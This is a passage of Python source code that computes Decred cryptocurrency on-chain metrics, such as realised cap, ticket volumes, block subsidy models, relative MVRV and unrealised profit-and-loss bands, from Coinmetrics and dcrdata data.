general_helpers.early_price_metric(df,'TxTfrValAdjUSD','TxTfrValAdjNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValUSD','TxTfrValNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValMeanUSD','TxTfrValMeanNtv')\n df = general_helpers.early_price_metric(df,'TxTfrValMedUSD','TxTfrValMedNtv')\n \n #Calculate Realised Cap and Price in BTC\n df['BTC_PriceUSD'] = df['PriceUSD'] / df['PriceBTC'] #BTC Price USD\n df['CapMrktCurBTC'] = df['SplyCur'] * df['PriceBTC']\n #Take change in Realised USD, divided by BTC Price then cumsum\n df['CapRealBTC'] = (df['CapRealUSD'].diff()/df['BTC_PriceUSD']).cumsum()\n df['PriceRealBTC'] = df['CapRealBTC']/df['SplyCur']\n\n #Calculate DCR moved influencing Realised Cap\n df['TxRealDCR'] = df['CapRealUSD'].diff() / df['PriceUSD']\n\n # Restructure final dataset\n df = df[[\n 'date', 'blk','age_days','age_sply','btc_blk_est',\n 'BlkSizeByte', 'BlkSizeMeanByte',\n 'DailyIssuedNtv', 'DailyIssuedUSD', 'inf_pct_ann', 'S2F',\n 'AdrActCnt', 'BlkCnt', 'BlkSizeByte', 'BlkSizeMeanByte',\n 'CapMVRVCur', 'CapMrktCurUSD', 'CapMrktCurBTC', 'CapRealUSD','CapRealBTC', 'DiffMean', \n 'FeeMeanNtv','FeeMeanUSD', 'FeeMedNtv', 'FeeMedUSD', 'FeeTotNtv', 'FeeTotUSD',\n 'PriceBTC', 'PriceUSD', 'PriceRealUSD','PriceRealBTC', 'BTC_PriceUSD', 'SplyCur',\n 'TxRealDCR','TxCnt', 'TxTfrCnt', 'TxTfrValAdjNtv', 'TxTfrValAdjUSD',\n 'TxTfrValMeanNtv', 'TxTfrValMeanUSD', 'TxTfrValMedNtv',\n 'TxTfrValMedUSD', 'TxTfrValNtv', 'TxTfrValUSD',\n 'notes'\n ]]\n print(\n \"\"\"\n ADDED COLUMNS - DCR_Coin\n \"\"\" + str(df.columns)\n )\n #Reformat datetime\n #df['date'] = df['date'].dt.strftime('%d-%m-%y')\n return df\n\n def dcr_diff(self):\n \"\"\"\n Pulls dcrdata Difficulty data\n Data is arranged by difficulty window (144 blocks)\n OUTPUT COLUMNS:\n 'blk' - block height\n 'window' - windoc count (count if 144 windows)\n 'time' - time (timestamp)\n 'tic_cnt_window'- Tickets bought in window (max 2880)\n 'tic_price' - Ticket Price | Stake Difficulty (DCR)\n 'tic_miss' - Tickets missed in window\n 'pow_diff' - PoW Difficulty\n \"\"\"\n df = dcrdata_api().dcr_difficulty()\n print(\n \"\"\"\n ADDED COLUMNS:\n 'blk' - block height\n 'window' - windoc count (count if 144 windows)\n 'time' - time (timestamp)\n 'tic_cnt_window'- Tickets bought in window (max 2880)\n 'tic_price' - Ticket Price | Stake Difficulty (DCR)\n 'tic_miss' - Tickets missed in window\n 'pow_diff' - PoW Difficulty\n \"\"\"\n )\n return df\n\n def dcr_perf(self):\n \"\"\"\n Pulls dcrdata Performance data\n Data is arranged by block\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'blk_time_s' - block time (seconds)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_tic_sply' - ticket pool value (DCR)\n 'tic_blk' - Tickets bought per block (max 20)\n 'tic_pool' - Tickets in the pool (40,960 target)\n 'pow_hashrate_THs' - PoW Hashrate in Terahash/s\n 'pow_work_TH' - Cummulative work (TH/s)\n \"\"\"\n df = dcrdata_api().dcr_performance()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'blk_time_s' - block time (seconds)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_tic_sply' - ticket pool value (DCR)\n 'tic_blk' - Tickets bought per block (max 20)\n 'tic_pool' - Tickets in the pool (40,960 target)\n 'pow_hashrate_THs' - PoW Hashrate in Terahash/s\n 'pow_work_TH' - Cummulative work (TH/s)\n \"\"\"\n )\n return df\n\n def dcr_priv(self):\n \"\"\"\n Pulls dcrdata Privacy data\n Data is arranged by day\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_anon_sply' - anonymity pool value (DCR)\n 'dcr_anon_part' - Anonymity participation (anon pool / circ. supply)\n 'dcr_anon_mix_vol' - Daily DCR mixed\n \"\"\"\n df = dcrdata_api().dcr_privacy()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'time' - time (timestamp)\n 'dcr_sply' - circulating supply (DCR)\n 'dcr_anon_sply' - anonymity pool value (DCR)\n 'dcr_anon_part' - Anonymity participation (anon pool / circ. supply)\n 'dcr_anon_mix_vol' - Daily DCR mixed\n \"\"\"\n )\n return df\n \n def dcr_natv(self):\n \"\"\"\n Compile dcrdata sets dcr_diff and dcr_perf (Final dataset is by block)\n Difficulty is filled backwards (step function)\n OUTPUT COLUMNS:\n As per dcr_diff and ddcr_perf (not repeated for brevity)\n Dropped 'time' and 'tic_miss'\n \"\"\"\n _diff = self.dcr_diff() #Pull dcrdata difficulty\n _perf = self.dcr_perf() #Pull dcrdata performance\n # DCR_natv = merge _diff (by window) to _perf (by blk)\n df = pd.merge(\n _perf.drop(['time'],axis=1),\n _diff.drop(['time','tic_miss'],axis=1),\n on='blk',how='left')\n # Fill backwards for difficulty metrics\n df[['tic_price','pow_diff','window']] = df[\n ['tic_price','pow_diff','window']\n ].fillna(method='bfill')\n # Restructure final dataset\n df = df[[\n 'blk', 'window','blk_time_s',\n 'tic_cnt_window', 'tic_price', 'tic_blk', 'tic_pool',\n 'dcr_tic_sply', 'dcr_sply',\n 'pow_diff','pow_hashrate_THs', 'pow_work_TH'\n ]]\n return df\n\n def dcr_sply(self,to_blk): #Calculate Theoretical Supply Curve\n \"\"\"\n Calculates the theoretical supply curve by block height\n INPUTS:\n to_blk = Integer, block height to calcuate up to (from 0)\n OUTPUT COLUMNS:\n 'blk' - block height\n 'blk_reward' - Total block reward\n 'Sply_ideal' - Ideal Total Supply (DCR)\n 'PoWSply_ideal' - Ideal PoW Issued Supply (DCR)\n 'PoSSply_ideal' - Ideal PoS Issued Supply incl. 4% Premine (DCR)\n 'FundSply_ideal' - Ideal Treasury Issued Supply incl. 4% Premine (DCR)\n 'inflation_ideal' - Idealised Inflation Rate\n 'S2F_ideal' - Idealised Stock-to-Flow Ratio\n \"\"\"\n df = dcr_supply_schedule(to_blk).dcr_supply_function()\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'blk' - block height\n 'blk_reward' - Total block reward\n 'Sply_ideal' - Ideal Total Supply (DCR)\n 'PoWSply_ideal' - Ideal PoW Issued Supply (DCR)\n 'PoSSply_ideal' - Ideal PoS Issued Supply incl. 4% Premine (DCR)\n 'FundSply_ideal' - Ideal Treasury Issued Supply incl. 4% Premine (DCR)\n 'inflation_ideal' - Idealised Inflation Rate\n 'S2F_ideal' - Idealised Stock-to-Flow Ratio\n \"\"\"\n )\n return df\n\n def dcr_sply_curtailed(self,to_blk):\n \"\"\"\n Curtail theoretical supply curve (dcr_sply) to reduce load on charting packages\n INPUTS:\n to_blk = Integer, block height to calcuate up to (from 0)\n OUTPUT COLUMNS:\n As per dcr_sply (not repeated for brevity)\n \"\"\"\n df = self.dcr_sply(to_blk)\n df = df.iloc[::int(self.sply_curtail), :] #Select every \n return df\n\n def dcr_real(self):\n \"\"\"\n Compiles Coinmetrics (dcr_coin) and dcrdata (dcr_natv) for general data analytics\n OUTPUT COLUMNS:\n TIME VARIABLES\n 'date' - Datetime \n 'blk' - Block Height\n 'blk_time_s' - Block Time (seconds)\n 'age_days' - Coin Age in Days\n 'age_sply' - Coin age in Supply (SplyCur/21M)\n 'window' - Count of difficulty window\n 'BlkSizeByte' - Daily Total Block Size (bytes)\n 'BlkSizeMeanByte' - Avg Block Size (bytes)\n 'BlkCnt' - Daily Block Count\n 'CapMrktCurUSD' - Market Cap (USD)\n 'CapMrktCurBTC' - Market Cap (BTC)\n 'CapRealUSD' - Realised Cap (USD)\n 'CapRealBTC' - Realised Cap (BTC)\n 'CapMVRVCur' - MVRV Ratio\n 'PriceBTC' - Price in BTC\n 'PriceUSD' - Price in USD\n 'PriceRealUSD' - Realised Price (USD)\n 'PriceRealBTC' - Realised Price (BTC)\n 'BTC_PriceUSD' - BTC Price\n 'DailyIssuedNtv' - Daily DCR Issued\n 'DailyIssuedUSD' - Daily Issued USD\n 'AdrActCnt' - Active Address Count\n 'TxTfrValNtv' - Daily Transferred DCR\n 'TxTfrValUSD' - Daily Transferred USD\n 'TxTfrValAdjNtv' - Daily Transferred DCR (Adjusted for noise)\n 'TxTfrValAdjUSD' - Daily Transferred USD (Adjusted for noise)\n 'TxTfrValMedNtv' - Median DCR Transaction\n 'TxTfrValMeanNtv' - Mean DCR Transaction\n 'TxRealDCR' - DCR moved which influenced the Realised Cap\n 'TxCnt' - Daily transaction count (Full count incl 0 DCR Tx)\n 'TxTfrCnt' - Daily Transfer count (transfer of non-zero DCR)\n 'FeeTotNtv' - Total Fees DCR\n 'FeeTotUSD' - Total Fees USD\n 'S2F' - Actual Stock-to-Flow Ratio\n 'inf_pct_ann' - Annual Inflation Rate\n 'SplyCur' - DCR Supply (Coinmetrics)\n 'dcr_sply' - DCR Supply (dcrdata)\n 'dcr_tic_sply_avg' - Average DCR Supply locked in Tickets over day\n 'tic_day' - Number of Tickets purchased that day\n 'tic_price_avg' - Average ticket price over the day\n 'tic_pool_avg' - Number of tickets in Pool (Target 40,960)\n 'DiffMean' - Average PoW Difficulty on day (Coinmetrics)\n 'pow_diff_avg' - Average PoW Difficulty on day (dcrdata)\n 'pow_hashrate_THs_avg' - Average PoW Hashrate on day (TH/s)\n 'pow_work_TH' - Cumulative PoW in TH\n 'dcr_anon_sply' - Total DCR in anonymity set\n 'dcr_anon_part' - Privacy Participation (dcr_anon_sply/dcr_sply)\n 'dcr_anon_mix_vol' - Daily mixing volume (DCR)\n \"\"\"\n print('...Combining Decred specific metrics - (coinmetrics + dcrdata)...')\n _coin = self.dcr_coin() #Coinmetrics by date\n _natv = self.dcr_natv() #dcrdata API by block\n _priv = self.dcr_priv() #Pull dcrdata privacy\n #_blk_max = int(_coin['blk'][_coin.index[-1]])\n #Cull _coin to Key Columns\n _coin = _coin[[\n 'date','blk','age_days','age_sply',\n 'BlkSizeByte', 'BlkSizeMeanByte','BlkCnt',\n 'CapMrktCurUSD','CapMrktCurBTC','CapRealUSD','CapRealBTC','CapMVRVCur',\n 'DiffMean','PriceBTC','PriceUSD','PriceRealUSD','PriceRealBTC','BTC_PriceUSD',\n 'SplyCur','DailyIssuedNtv','DailyIssuedUSD','S2F',\n 'inf_pct_ann','TxCnt','TxTfrCnt','TxTfrValMedNtv','TxTfrValMeanNtv',\n 'TxTfrValNtv','TxTfrValUSD','TxTfrValAdjNtv','TxTfrValAdjUSD','TxRealDCR',\n 'FeeTotNtv','FeeTotUSD','AdrActCnt']]\n \n #Add new columns for transferring _natv data to_coin\n _coin['tic_day'] = 0.0\n _coin['tic_price_avg'] = 0.0\n _coin['tic_pool_avg'] = 0.0\n _coin['dcr_tic_sply_avg'] = 0.0\n _coin['pow_diff_avg'] = 0.0\n _coin['pow_hashrate_THs_avg'] = 0.0\n blk_from = 0 #Captures last _coin block (block from)\n _row = 0 #Captures current block height (natv is by block)\n for i in _coin['blk']:\n #Sum tickets bought on the day\n _coin.loc[_row,['tic_day']] = (\n float(_natv.loc[blk_from:i,['tic_blk']].sum()) #tickets bought that day\n )\n #Average Ticket price over day\n _coin.loc[_row,['tic_price_avg']] = (\n float(_natv.loc[blk_from:i,['tic_price']].mean()) #avg tic price that day\n )\n #Average Tickets in Pool over day\n _coin.loc[_row,['tic_pool_avg']] = (\n float(_natv.loc[blk_from:i,['tic_pool']].mean()) #avg tic price that day\n )\n #Average DCR Locked in Tickets over day\n _coin.loc[_row,['dcr_tic_sply_avg']] = (\n float(_natv.loc[blk_from:i,['dcr_tic_sply']].mean()) #avg tic price that day\n )\n #Average PoW Difficulty\n _coin.loc[_row,['pow_diff_avg']]= (\n float(_natv.loc[blk_from:i,['pow_diff']].mean()) #avg hashrate that day\n )\n #Average PoW Hashrate in TH/s\n _coin.loc[_row,['pow_hashrate_THs_avg']]= (\n float(_natv.loc[blk_from:i,['pow_hashrate_THs']].mean()) #avg hashrate that day\n )\n blk_from = i\n _row += 1\n #Merge _coin and _natv\n df = pd.merge(\n _coin,\n _natv.drop(\n ['tic_cnt_window','pow_diff','pow_hashrate_THs','tic_pool','dcr_tic_sply'],axis=1\n ),on='blk',how='left'\n )\n #Merge df with _priv (on date)\n df = pd.merge(\n df,\n _priv.drop(['time','dcr_sply'],axis=1),\n on='date',how='left')\n #Compile into final ordered dataframe\n df = df[[\n 'date', 'blk','blk_time_s', 'age_days','age_sply','window', #Time Metrics\n 'BlkSizeByte', 'BlkSizeMeanByte','BlkCnt', #Blockchain Size Metrics\n 'CapMrktCurUSD', 'CapMrktCurBTC', 'CapRealUSD','CapRealBTC','CapMVRVCur', #Value Metrics\n 'PriceBTC', 'PriceUSD', 'PriceRealBTC', 'PriceRealUSD','BTC_PriceUSD', #Price Metrics\n 'DailyIssuedNtv','DailyIssuedUSD','AdrActCnt','TxCnt','TxTfrCnt', #Block Reward Metrics\n 'TxTfrValNtv','TxTfrValUSD','TxTfrValAdjNtv','TxTfrValAdjUSD', #Global Transaction Metrics\n 'TxTfrValMedNtv','TxTfrValMeanNtv', #Local Transaction Metrics\n 'FeeTotNtv','FeeTotUSD', #Fee Metrics\n 'S2F', 'inf_pct_ann','SplyCur', 'dcr_sply', #Supply Metrics\n 'dcr_tic_sply_avg','tic_day', 'tic_price_avg', 'tic_pool_avg', #Ticket Metrics\n 'DiffMean','pow_diff_avg', 'pow_hashrate_THs_avg', 'pow_work_TH', #PoW Metrics\n 'dcr_anon_sply', 'dcr_anon_part','dcr_anon_mix_vol' #Privacy Metrics\n ]]\n general_helpers.df_to_csv(df,'DCR_data')\n return df\n\n def dcr_subsidy_models(self):\n \"\"\"\n Calculates DataFrame Cols for Decred block subsidy Models (Permabull Nino, 2019)\n Note 'X' in col name can be replaced by dcr, usd, btc for different metrics\n Results are daily, applying .cumsum() will provide lifetime aggregate\n Starting df = dcr_real\n OUTPUT COLUMNS: \n 'PoW_income_X' = Daily subsidy paid to PoW Miners\n 'PoS_income_X' = Daily subsidy paid to PoS Stakeholders\n 'Fund_income_X' = Daily subsidy paid to Treasury Fund\n 'Total_income_X' = Total Daily subsidy paid by protocol\n \"\"\"\n\n print('...Calculating Decred block subsidy models...')\n df = self.dcr_real()\n #Calculate Block Subsidy Models\n df['PoW_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[0] + df['FeeTotNtv']\n df['PoS_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[1]\n df['Fund_income_dcr'] = df['DailyIssuedNtv'] * self.blkrew_ratio[2]\n df['Total_income_dcr'] = df['DailyIssuedNtv'] + df['FeeTotNtv']\n \n df['PoW_income_usd'] = df['PoW_income_dcr'] * df['PriceUSD']\n df['PoS_income_usd'] = df['PoS_income_dcr'] * df['PriceUSD']\n df['Fund_income_usd'] = df['Fund_income_dcr'] * df['PriceUSD']\n df['Total_income_usd'] = df['Total_income_dcr'] * df['PriceUSD']\n\n df['PoW_income_btc'] = df['PoW_income_dcr'] * df['PriceBTC']\n df['PoS_income_btc'] = df['PoS_income_dcr'] * df['PriceBTC']\n df['Fund_income_btc'] = df['Fund_income_dcr'] * df['PriceBTC']\n df['Total_income_btc'] = df['Total_income_dcr'] * df['PriceBTC']\n\n print(\n \"\"\"\n OUTPUT COLUMNS: \n 'PoW_income_X' = Daily subsidy paid to PoW Miners\n 'PoS_income_X' = Daily subsidy paid to PoS Stakeholders\n 'Fund_income_X' = Daily subsidy paid to Treasury Fund\n 'Total_income_X' = Total Daily subsidy paid by protocol\n \"\"\"\n )\n return df\n\n def dcr_ticket_models(self): #Calculate Ticket Based Valuation Metrics\n \"\"\"\n Calculates Ticket specific metrics for Decred\n Starting df = dcr_subsidy_models\n OUTPUT COLUMNS:\n 'dcr_tic_vol' = Daily DCR Transaction Volume associated with ticket purchases\n 'dcr_tfr_vol' = Daily DCR Transaction Volume Not associated with tickets\n 'tic_tfr_vol_ratio' = Ratio of tickets to total DCR transaction volume\n 'tic_usd_cost' = Total Daily USD Spend on Tickets\n 'tic_btc_cost' = Total Daily BTC Spend on Tickets\n 'CapTicUSD' = Ticket Cap, cumulative USD spend on tickets\n 'CapTicBTC' = Ticket Cap, cumulative BTC spend on tickets\n 'CapTicPriceUSD' = Ticket Investment Price (USD) = Ticket Cap / Circulating Supply\n 'CapTicPriceBTC' = Ticket Investment Price (BTC) = Ticket Cap / Circulating Supply\n \"\"\"\n print('...Calculating Decred Ticket models...')\n df = self.dcr_subsidy_models()\n #Calculate Ticket Volumes On-chain\n # Daily DCR Transaction Volume associated with ticket purchases\n df['dcr_tic_vol'] = df['tic_day'] * df['tic_price_avg']\n # Daily DCR Transaction Volume Not associated with tickets\n df['dcr_tfr_vol'] = df['TxTfrValNtv'] - df['dcr_tic_vol']\n # Ratio of tickets to total DCR transaction volume\n df['tic_tfr_vol_ratio'] = df['dcr_tic_vol'] / df['TxTfrValNtv']\n\n #Ticket Investment Metrics\n # Daily USD and BTC Spent on Tickets\n df['tic_usd_cost'] = df['dcr_tic_vol'] * df['PriceUSD']\n df['tic_btc_cost'] = df['dcr_tic_vol'] * df['PriceBTC']\n # Ticket Cap = cummulative spend on tickets\n df['CapTicUSD'] = df['tic_usd_cost'].cumsum()\n df['CapTicBTC'] = df['tic_btc_cost'].cumsum()\n # Ticket Investment Price = Ticket Cap / Circulating Supply\n df['CapTicPriceUSD'] = df['CapTicUSD'] / df['SplyCur']\n df['CapTicPriceBTC'] = df['CapTicBTC'] / df['SplyCur']\n\n #Write to csv for others\n general_helpers.df_to_csv(df,'DCR_tics')\n print(\n \"\"\"\n OUTPUT COLUMNS:\n 'dcr_tic_vol' = Daily DCR Transaction Volume associated with ticket purchases\n 'dcr_tfr_vol' = Daily DCR Transaction Volume Not associated with tickets\n 'tic_tfr_vol_ratio' = Ratio of tickets to total DCR transaction volume\n 'tic_usd_cost' = Total Daily USD Spend on Tickets\n 'tic_btc_cost' = Total Daily BTC Spend on Tickets\n 'CapTicUSD' = Ticket Cap, cumulative USD spend on tickets\n 'CapTicBTC' = Ticket Cap, cumulative BTC spend on tickets\n 'CapTicPriceUSD' = Ticket Investment Price (USD) = Ticket Cap / Circulating Supply\n 'CapTicPriceBTC' = Ticket Investment Price (BTC) = Ticket Cap / Circulating Supply\n \"\"\"\n )\n return df\n\n def dcr_treasury(self):\n df = dcrdata_api().dcr_treasury()\n return df\n\n def metric_mvrv_relative_btc(self,df):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame for Decred\n ADDED COLUMNS:\n PriceBTC_onchain = Onchain DCRBTC Price (DCR Real / BTC Real Caps)\n DCRBTC_MVRV = Relative MVRV, Compares premium / discount of Market Price vs Realized Price across coins\n Price_DCRBTC_MVRV = Relative MVRV Price (1.0 means MVRV Ratio is equal between BTC and DCR)\n Price_DCRBTC_Mid = Relative Mid-point between PriceBTC_onchain and Price_DCRBTC_MVRV\n DCRBTC_MVRV_28avg = 28-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n DCRBTC_MVRV_142avg = 142-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n \"\"\"\n btc = btc_add_metrics().btc_coin()\n\n btc = btc[['date','CapRealUSD','PriceRealUSD','CapMVRVCur']]\n btc.columns = ['date','BTC_CapRealUSD','BTC_PriceRealUSD','BTC_CapMVRVCur']\n\n _df = df.merge(btc,on='date',copy=False)\n #Onchain DCRBTC Price\n df['PriceBTC_onchain'] = _df['CapRealUSD'] / _df['BTC_CapRealUSD']\n #Relative MVRV Ratio\n df['DCRBTC_MVRV'] = _df['CapMVRVCur'] / _df['BTC_CapMVRVCur']\n #Relative MVRV Price\n df['Price_DCRBTC_MVRV'] = _df['PriceBTC'] / df['DCRBTC_MVRV']\n #Relative Mid Point\n df['Price_DCRBTC_Mid'] = (df['PriceBTC_onchain'] + df['Price_DCRBTC_MVRV']) / 2\n #Relative MVRV Average\n df['DCRBTC_MVRV_28avg'] = df['DCRBTC_MVRV'].rolling(28).mean()\n df['DCRBTC_MVRV_142avg']= df['DCRBTC_MVRV'].rolling(142).mean()\n print(\n \"\"\"\n Added COLUMNS:\n PriceBTC_onchain = Onchain DCRBTC Price (DCR Real / BTC Real Caps)\n DCRBTC_MVRV = Relative MVRV, Compares premium / discount of Market Price vs Realized Price across coins\n Price_DCRBTC_MVRV = Relative MVRV Price (1.0 means MVRV Ratio is equal between BTC and DCR)\n Price_DCRBTC_Mid = Relative Mid-point between PriceBTC_onchain and Price_DCRBTC_MVRV\n DCRBTC_MVRV_28avg = 28-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n DCRBTC_MVRV_142avg = 142-day Average of Relative MVRV Ratio (DCRBTC_MVRV)\n \"\"\"\n )\n return df\n\n def metric_mrkt_real_gradient_usd(self,df,period):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame\n period = int, period for gradient\n ADDED COLUMNS:\n MrktGradient = Gradient of Market Cap over period\n RealGradient = Gradient of Realised Cap over period\n DeltaGradient = Difference between market and realised gradient\n \"\"\"\n df['MrktGradient'] = ((\n df['PriceUSD'] \n - df['PriceUSD'].shift(periods=period,axis=0)\n ) / period)\n\n df['RealGradient'] = ((\n df['PriceRealUSD'] \n - df['PriceRealUSD'].shift(periods=period,axis=0)\n ) / period)\n\n df['DeltaGradient'] = df['MrktGradient'] - df['RealGradient']\n print(\n \"\"\"\n ADDED COLUMNS:\n MrktGradient = Gradient of Market Cap over period\n RealGradient = Gradient of Realised Cap over period\n DeltaGradient = Difference between market and realised gradient\n \"\"\"\n )\n return df\n\n def metric_mrkt_real_gradient_btc(self,df,period):\n \"\"\"\n Adds market-realised gradient metrics\n INPUT:\n df = DataFrame\n period = int, period for gradient\n ADDED COLUMNS:\n MrktGradientBTC = Gradient of Market Cap over period (BTC Pricing)\n RealGradientBTC = Gradient of Realised Cap over period (BTC Pricing)\n DeltaGradientBTC = Difference between market and realised gradient (BTC Pricing)\n DeltaRelativeBTC = Difference between 28-day and 142-day relative MVRV Ratio\n \"\"\"\n df = self.metric_mvrv_relative_btc(df)\n\n df['MrktGradientBTC'] = ((\n df['PriceBTC'] \n - df['PriceBTC'].shift(periods=period,axis=0)\n ) / period)\n\n df['RealGradientBTC'] = ((\n df['PriceRealBTC'] \n - df['PriceRealBTC'].shift(periods=period,axis=0)\n ) / period)\n\n df['DeltaGradientBTC'] = df['MrktGradientBTC'] - df['RealGradientBTC']\n df['DeltaRelativeBTC'] = df['DCRBTC_MVRV_28avg'] - df['DCRBTC_MVRV_142avg']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n MrktGradientBTC = Gradient of Market Cap over period (BTC Pricing)\n RealGradientBTC = Gradient of Realised Cap over period (BTC Pricing)\n DeltaGradientBTC = Difference between market and realised gradient (BTC Pricing)\n DeltaRelativeBTC = Difference between 28-day and 142-day relative MVRV Ratio\n \"\"\"\n )\n return df\n\n def metric_unrealised_PnL(self,df):\n \"\"\"\n Adds unrealised PnL from market and realised caps\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n UnrealisedPnL_Net = Net Unrealised PnL = (Market Cap - Realised Cap)/Market Cap\n UPnL_capitulation = Capitulation --> UnrealisedPnL_Net < -0.50\n UPnL_fear = Hope Fear --> -0.50 < UnrealisedPnL_Net < -0.25\n UPnL_optimism = Optimism-Anxiety --> -0.25 < UnrealisedPnL_Net < -0.25\n UPnL_belief = Belief-Denial --> -0.25 < UnrealisedPnL_Net < -0.50\n UPnL_euphoria = Euphoria --> UnrealisedPnL_Net > 0.50\n \"\"\"\n df['UnrealisedPnL_Net'] = (\n df['CapMrktCurUSD'] - df['CapRealUSD']\n ) / df['CapMrktCurUSD']\n\n j = 0\n name = str()\n for i in [-0.50,-0.25,0.00,0.50,0.50]:\n a = -0.00\n if i == -0.50:\n name = 'UPnL_capitulation'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]>=i - a*5,name] = 0 #set >= 0 to nan\n elif j == 0.50:\n name = 'UPnL_euphoria'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]<=i + a,name] = 0 #set < 1.0 to nan\n else:\n if i == - 0.25:\n name = 'UPnL_fear'\n elif i == 0.00:\n name = 'UPnL_optimism'\n elif i == 0.50:\n name = 'UPnL_belief'\n df[name] = df['UnrealisedPnL_Net'] #set equal to net PnL\n df.loc[df[name]<=j + a, name] = 0 #set Outside range to nan\n df.loc[df[name]>=i - a, name] = 0 #set Outside range to nan\n j = i\n\n print(\n \"\"\"\n ADDED COLUMNS:\n UnrealisedPnL_Net = Net Unrealised PnL = (Market Cap - Realised Cap)/Market Cap\n UPnL_capitulation = Capitulation --> UnrealisedPnL_Net < -0.50\n UPnL_fear = Hope Fear --> -0.50 < UnrealisedPnL_Net < -0.25\n UPnL_optimism = Optimism-Anxiety --> -0.25 < UnrealisedPnL_Net < -0.25\n UPnL_belief = Belief-Denial --> -0.25 < UnrealisedPnL_Net < -0.50\n UPnL_euphoria = Euphoria --> UnrealisedPnL_Net > 0.50\n \"\"\"\n )\n\n return df\n\n def metric_block_subsidy_usd(self,df):\n \"\"\"\n Block Subsidy models priced in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n\n #Block Subsidy Models\n df['SubsidyPoWCapUSD'] = df['PoW_income_usd'].cumsum()\n df['SubsidyPoSCapUSD'] = df['PoS_income_usd'].cumsum()\n df['SubsidyFundCapUSD'] = df['Fund_income_usd'].cumsum()\n df['SubsidyCapUSD'] = df['Total_income_usd'].cumsum()\n\n #Adjusted Supply Issued Cap (EXPERIMENTAL)\n df['AdjSubsidyCapUSD'] = df['SubsidyCapUSD'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['AdjSubsidyPriceUSD'] = df['AdjSubsidyCapUSD'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n )\n return df\n\n def metric_block_subsidy_btc(self,df):\n \"\"\"\n Block Subsidy models priced in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n\n #Block Subsidy Models\n df['SubsidyPoWCapBTC'] = df['PoW_income_btc'].cumsum()\n df['SubsidyPoSCapBTC'] = df['PoS_income_btc'].cumsum()\n df['SubsidyFundCapBTC'] = df['Fund_income_btc'].cumsum()\n df['SubsidyCapBTC'] = df['Total_income_btc'].cumsum()\n\n #Adjusted Supply Issued Cap (EXPERIMENTAL)\n df['AdjSubsidyCapBTC'] = df['SubsidyCapBTC'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['AdjSubsidyPriceBTC'] = df['AdjSubsidyCapBTC'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n SubsidyPoWCapUSD = PoW Block Subsidy Cap (USD)\n SubsidyPoSCapUSD = PoS Block Subsidy Cap (USD)\n SubsidyFundCapUSD = Treasury Block Subsidy Cap (USD)\n SubsidyCapUSD = Total Block Subsidy Cap (USD)\n AdjSubsidyCapUSD = Adjusted Subsidy Cap (USD)\n AdjSubsidyPriceUSD = Adjusted Subsidy Price (USD)\n \"\"\"\n )\n\n return df\n\n def metric_issued_cap(self,df):\n \"\"\"\n Calculates Issued Cap adjusting for inflation\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n IssuedCapUSD = Issued Cap Adjusting for Inflation (USD)\n IssuedPriceUSD = Issued Price Adjusting for Inflation (USD)\n IssuedCapBTC = Issued Cap Adjusting for Inflation (BTC)\n IssuedPriceBTC = Issued Price Adjusting for Inflation (BTC)\n \"\"\"\n df['IssuedCapUSD'] = df['DailyIssuedNtv'] * df['PriceUSD']\n df['IssuedCapUSD'] = df['IssuedCapUSD'].cumsum()\n df['IssuedCapUSD'] = df['IssuedCapUSD'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['IssuedPriceUSD'] = df['IssuedCapUSD'] / df['SplyCur']\n\n df['IssuedCapBTC'] = df['DailyIssuedNtv'] * df['PriceBTC']\n df['IssuedCapBTC'] = df['IssuedCapBTC'].cumsum()\n df['IssuedCapBTC'] = df['IssuedCapBTC'] *10*(101/100)**(np.floor(df['blk']/6144))\n df['IssuedPriceBTC'] 